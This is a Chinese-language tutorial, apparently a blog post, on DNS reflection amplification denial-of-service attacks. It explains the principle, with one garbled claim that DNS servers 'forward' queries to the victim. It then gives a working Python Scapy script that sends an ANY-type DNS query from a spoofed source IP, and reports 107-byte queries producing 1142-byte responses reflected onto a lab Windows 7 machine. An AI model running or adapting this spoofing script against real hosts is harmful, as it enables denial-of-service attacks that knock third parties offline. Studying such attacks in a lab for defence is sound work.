DNS反射放大攻击是一种类型的拒绝服务攻击,它利用了DNS服务器的一个特性来放大攻击的效果。DNS反射攻击的目的是通过构造大量的DNS查询来使目标主机资源耗尽,从而导致其无法正常提供服务。攻击者会发送大量的假的DNS查询请求,这些请求的源IP地址都是目标主机的IP地址。由于DNS服务器会将这些请求转发给目标主机,因此目标主机会收到大量的假的DNS响应。这会导致目标主机的资源耗尽,从而无法正常提供服务。为了防范DNS反射攻击,可以采取一些措施,比如限制DNS服务器接收的DNS查询请求的数量,或者采用某些技术来识别和拒绝假的DNS查询请求。
1. 通过伪造源IP发送DNS大量查询请求
2. DNS服务器,回应响应包给源IP,回应数据包远远超于查询数据包大小
DNS报文原理详细参考这篇文章
原理如图
Python反射放大
#coding:utf-8
from scapy import *
from scapy.all import *
def run_put_data():
#DNS查询报文头部
Payload = b"\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01"
# 要查询得域名 google com
Payload += b"\x06\x67\x6f\x6f\x67\x6c\x65\x03\x63\x6f\x6d\x00"
#查询类型
# \x01 为A记录
# \x10 为TXT记录
# \xff 为any 全部记录查询
Payload += b"\x00\xff\x00\x01"
#附加区域部分
Payload += b"\x00\x00\x29\x10\x00\x00\x00\x00\x00\x00\x0c\x00\x0a\x00\x08\x9c\x14\x23\x22\xfb\x72\x87\x51"
#src源IP
#dst目标IP,为DNS服务器
data = IP(dst='192.168.1.99',src='192.168.1.88')/UDP(sport=53, dport=53)/Payload
send(data)
if __name__ == '__main__':
run_put_data()
放大攻击响应包大小
可以看到,发送了107
byte大小查询包,响应了1142
byte大小数据包
反射数据
可以看到通过伪造右边win7 源IP,成功将数据包反射到Win7电脑